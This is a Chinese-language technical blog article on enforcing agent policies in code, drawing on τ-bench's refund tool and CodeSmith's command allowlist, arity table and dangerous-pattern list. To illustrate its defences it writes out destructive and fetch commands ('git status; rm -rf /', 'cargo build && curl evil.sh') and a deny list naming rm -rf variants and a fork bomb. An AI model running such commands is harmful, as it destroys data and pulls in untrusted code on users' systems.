[控场AI]
· 9 分钟阅读· 4,701 字

把业务规则写成守门员:CodeSmith的Agent约束工程

把业务规则写成守门员:CodeSmith的Agent约束工程

自然语言规则对 Agent 只是建议,唯有编码为代码的约束才是绕不过去的守门员。

文章指出,把业务规则写进提示词看似清晰实则充满歧义:术语边界模糊、模型理解是一团概率分布,提示注入和长对话都会稀释规则权重。因此核心原则是「把约束编码,而不是写进文档」——代码无歧义、可执行,是唯一绕不过去的约束形式。但文字并非无用:解释政策、寻找合法绕行、调用前预判仍需自然语言。成熟做法是三层防线:系统提示词与工具描述负责理解沟通,参数与 schema 充当思考清单引导显式核查,代码校验作为最后守门员,且必须建立在模型无法伪造的数据上。文章以 τ-bench 航司退票与 CodeSmith 的 execpolicy、arity 表、五种灾难模式为例,说明三值判决、事实校验与克制拦截如何协同,并强调过度拦截会催生审批疲劳与 YOLO 模式,反而让防线失效。

自然语言规则等于没有规则

把业务规则、审批流程、退款逻辑只写在提示词里,看似清晰,实则布满歧义。「购买后7天内可退」——是7个自然日还是7个工作日?「购买」是下单时刻还是发货时刻?人类靠经验和常识兜底,Agent 没有这层缓冲。模型对规则的理解是一团概率分布,提示注入可以把伪造的规则塞进这团分布,冗长的对话也会稀释规则的权重。

对概率系统而言,写在提示词里的规则是建议,不是法律。 代码则不同:无歧义、可执行,非运行即报错。这正是 harness engineering 的核心原则——把你的约束编码,而不是把它写进文档。

但「编码」不等于废掉自然语言规则。有三件事只有文字能做:模型需要依据文字向用户解释政策(「为什么这单不能退」);需要靠理解政策寻找合法绕行方案(退票窗口关了,改签还有门);工具调用前的预判(这单大概率过不了,别浪费调用)也在提示词层完成。成熟做法是两者结合:系统提示词里的规则负责理解与沟通,关键决策点上的代码校验负责当那个绕不过去的守门员。

CodeSmith Meta-Ability 原文截图

教科书案例:τ-bench 的退票政策

τ-bench(用航司与电商客服场景衡量 Agent 政策遵从度的基准)在航司退票工具里藏了最好的教材。其实现做了一件事,而分工的切法正是精妙之处。

第一层:参数即思考清单。 工具描述里写全政策,要求模型先拉取订单逐条核对;expected_* 参数让模型把推理显式写下来——要填 expected_cabin_class,就必须先读订单详情。当模型发现一张无保险的经济舱订单时,很可能在准备调用阶段就注意到规则五,直接向用户解释政策而不发起调用。这一层引导思考、减少无效调用,但不承担安全责任——自报值是陈述,不是事实。

第二层:服务端事实校验才是守门员。 舱位、保险、下单时间全部来自数据库,当前时间取自服务端时钟,没有一个政策事实来自模型上报的参数。这不是多余的谨慎:模型会幻觉,也会被注入操纵。最后一道防线必须建立在模型无法伪造的数据上。 上报值与事实比对的结果进入告警日志,从「安全机制」退役为「审计信号」,一个参数两处收益。

τ-bench 是什么。 τ-bench(读作 tau-bench)是 Sierra 团队提出的 Agent 评测基准,专门衡量「工具-智能体-用户」三方交互场景下模型对政策的遵从度。它构建了两个贴近现实的领域:航空客服与零售电商客服。与传统问答基准不同,τ-bench 的关键设计在于:每个任务都附带一份域政策文档,规定什么情况下可以退款、改签、换货,而 Agent 必须在多轮对话中既满足用户诉求又不违反政策。基准同时引入「用户模拟器」扮演有具体诉求的顾客,评测指标包括任务成功率与政策违规率。

为什么它适合当教材。 τ-bench 的精妙之处是它把「政策」拆到了两层不同的物理位置:一层写进工具描述(让模型理解),另一层藏在工具的服务端实现里(让模型无法绕过)。前者影响模型「想不想、会不会」正确调用,后者决定「能不能」蒙混过关。这种切分正是 harness engineering 讨论「约束编码」时最有说服力的实例——它证明了「把规则写进提示词」和「把规则变成代码」不是二选一,而是各自负责不同的失效率。

补充一点背景。 τ-bench 也因其对「政策遵从」的严格评判而著称:一个 Agent 即使成功帮用户退了票,只要退票本身违反政策,任务依然判为失败——它衡量的是「守规矩前提下的任务完成」,而不是「不择手段地满足用户」。这一定位使它天然适合用来检验我们前面讨论的守门员机制。

CodeSmith 的同构实现

这套「规则即代码」在 CodeSmith 里不是隐喻,是每一轮都在运行的代码。

判决是三值的,不是布尔的

execpolicy/decision.rs 里的 Decision 枚举只有三个值:Allow(无需审批直接运行)、Prompt(请求用户明确批准)、Forbidden(无条件阻断)。译成人话:命令的世界不是「安全/危险」两档旋钮,而是「放行 / 问人 / 禁止」三档——规则引擎给出判决,人类保留最终否决权。政策本体是一张按程序名索引的规则表,前缀规则、通配符、启发式兜底依次生效。

Arity 表:一条不变量管住所有白名单

command_safety.rs 里的 COMMAND_ARITY 有 189 条目,钉死每条命令的规范前缀。中心不变量写在注释里:auto_allow = ["git status"] 必须匹配 git status -s、git status --porcelain,但不能匹配 git push。

换句话说:标志位不计入前缀,位置参数计入。白名单匹配的是一个动作,而不是字符串前缀——朴素的字符串前缀匹配会让 git status 白名单放行 git status; rm -rf /。复合命令按 &&、;、| 切分逐段判定,每段都命中规则整条命令才放行,于是 cargo * 授权再也无法为 cargo build && curl evil.sh 背书。该文件共 1952 行,配有专门的单元测试锁死这条不变量。

什么是 arity。 Arity 原本是数学与编程语言里的术语,指一个函数或操作符接受的参数个数(如二元运算符 arity=2)。在命令行语境中,CodeSmith 借用这个词表示「把一条命令解析为『规范前缀 + 参数』时,前缀应当算到第几个 token 为止」。

为什么需要它。 命令行里同一个程序后面可以跟标志位(-s、--porcelain)和位置参数(分支名、路径、远程名),二者语义完全不同:标志位改变的是同一次动作的行为,位置参数往往意味着另一个动作或另一个对象。如果白名单写成朴素的字符串前缀匹配,git status 会连带放行 git status --porcelain(无害),但同样会放行 git push(危险)——因为后者也以 git 开头、也可能带 status 之类的子串前缀。arity 表通过「钉死规范前缀到第 N 个 token」把匹配对象锁定为动作本身,标志位允许随行,位置参数一旦出现即视为不同动作,需要独立规则裁决。

工程含义。 189 条目的表意味着每一项都必须经过人工审定,且每当生态里出现新 CLI(如新的构建工具、包管理器),表都要同步扩充。这正是前文提到的「约束即代码的固定税」的具体形态——税不便宜,但相比误放一条 rm -rf 仍然划算。

五种危险模式,绝不再多

最有味道的是 DANGEROUS_PATTERNS:整个文件只有五条——rm -rf /、rm -rf /*、rm -rf ~、rm -rf $HOME,以及 fork 炸弹。注释解释了为什么这份清单这么短:Codex 只标记显式的 rm -f* / rm -rf 模式,CodeSmith 保持同样的克制;关停、重启、killall、docker rm、chown 等激进模式已被移除,因为它们会为常规操作制造不必要的审批弹窗。

先立靶子:直觉认为守门员应该「先拦下再说」,把 shutdown、killall 全塞进名单。CodeSmith 的答案反着来:这些模式会为日常操作制造没完没了的审批弹窗;用户烦了,切到 YOLO 模式,守门员直接下岗。所以只有用户根本来不及否决的灾难形态(抹掉根目录、fork 炸弹)被硬编码为禁止,其余交给 Prompt 层由用户临场裁定。这五条还由独立的 literal_dangerous_pattern_reason 检查,不依赖主分析管线——fork 炸弹含 ; 和 &,主管线的链式分支会把它短路成「需审批」;独立检查保证灾难形态无论嵌套多深都报红灯。

审批疲劳(approval fatigue)是一个被低估的安全威胁。 它的机理与「狼来了」相反:不是忽视警示,而是用户被大量无关键拦截训练成「条件反射式点同意」。当弹窗频率超过某个阈值,用户不再阅读内容,审批环节就从安全机制退化为一个点击式的仪式——守门员名义上还在,实际上已经下岗。

YOLO 模式是这种退化的极端出口。 许多编码 Agent 工具提供「全自动/免确认」开关(社区戏称 YOLO,You Only Live Once),本意是给可信任的本地开发场景提速。问题在于:如果守门员把大量常规操作也拦下来,用户为了不被反复打断,就会主动切进 YOLO——把一个本应「平时很少触发、触发时必然重要」的防线,变成一个「要么全关、要么全开的粗暴开关」。

所以危险名单要短。 CodeSmith 只把「用户根本来不及否决」的灾难形态硬编码为禁止,其余激进但常见的操作(关停、重启、killall、docker rm、chown)交给 Prompt 层临场裁决。这个取舍背后的原则是:守门员的可信度比它的覆盖广度更重要。宁可放过一批需要人工判断的灰色操作,也要保证每一条 Forbidden 都真的是「先拦下、无需商量」的那一类。

独立检查的意义。 让 literal_dangerous_pattern_reason 脱离主编译管线,是针对「结构化解析把灾难形态降级」这一失效模式的补丁:fork 炸弹用 ; 与 & 组合,主分析管线的链式规则会把它切成多段、逐段看都无害,于是整条命令从「灾难」被降格成「需审批」。独立字面量检查绕过了这条路径,保证形态识别与语义分析的失效互不传染。

三重防线

至此,完整防线与 τ-bench 在结构上同构:自然语言规则放在系统提示词与工具描述里,帮模型理解和解释;参数与 schema 设计充当清单(arity 归一化、自报的 expected_* 参数),引导调用前的显式核查;代码强制校验作为最后守门员——execpolicy 的三值判决加上数据库事实(τ-bench)或归一化命令前缀(CodeSmith),全部建立在模型无法伪造的数据上。

前两层让错误更少发生,第三层确保错误不会变成不可逆的损失。代码强制校验的核心价值不是省 token,而是拦住 rm -rf 这类哪怕只发生一次都不行的事情。

守门员需要克制

过度拦截会催生审批疲劳,审批疲劳会催生 YOLO——这是「不信任,但要写清楚」的另一半:不信任模型,但也别把用户当罪犯。

代价也很诚实:arity 字典必须与生态同步维护(每来一个新 CLI 就得补条目),规则表的改动必须与提示词里的规则保持同步——这是「约束即代码」的固定税,但它仍然远比一次误删便宜。守门员就位之后,元能力的下一圈是把这套机械反过来对准 Agent 自身:用代码修复 Agent,用代码构建 Agent。

#CodeSmith#Agent安全#execpolicy#命令白名单#τ-bench#提示注入防御#约束即代码#审批疲劳
分享:

相关推荐